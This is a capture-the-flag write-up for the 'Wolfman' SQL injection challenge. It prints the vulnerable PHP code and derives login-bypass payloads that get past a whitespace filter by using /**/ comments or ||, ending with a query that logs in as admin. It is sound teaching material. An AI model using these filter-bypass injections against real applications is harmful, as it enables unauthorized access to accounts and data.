Wolfman
Bypass whitespace filter
Code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>Line 6: preg_match disallows whitespace in the parameter 'pw'.
Line 7: Query accepts user-supplied input and stores it in 'pw'.
Line 10: Assigning 'admin' to the 'id' parameter will solve the challenge.
Query
SELECT id FROM prob_wolfman WHERE id='guest' AND pw=''Testing
Vulnerable parameter is 'pw'.
pw=' OR id=guest returns "No whitespace ~_~".
The 2 whitespaces can be replaced with a "comment", /**/ resulting in the following:
pw='/**/OR/**/id=guest returns nothing, however the query shows our injection went through and a single quote is missing in the 'id' parameter.
SELECT id FROM prob_wolfman WHERE id='guest' AND pw=''/**/OR/**/id=guest'Insert a single quote before 'guest':
pw='/**/OR/**/id='guest returns "Hello guest". Indicating the query was successful.
Finally the challenge can be solved by replacing 'guest' with 'admin'.
pw='/**/OR/**/id='admin returns "Hello admin".
Note: the OR operator represented as || can also be used:
pw='||id='admin
Effective Query
SELECT id FROM prob_wolfman WHERE id='guest' AND pw=''/**/OR/**/id='admin'Reference
https://portswigger.net/support/sql-injection-bypassing-common-filters
Last updated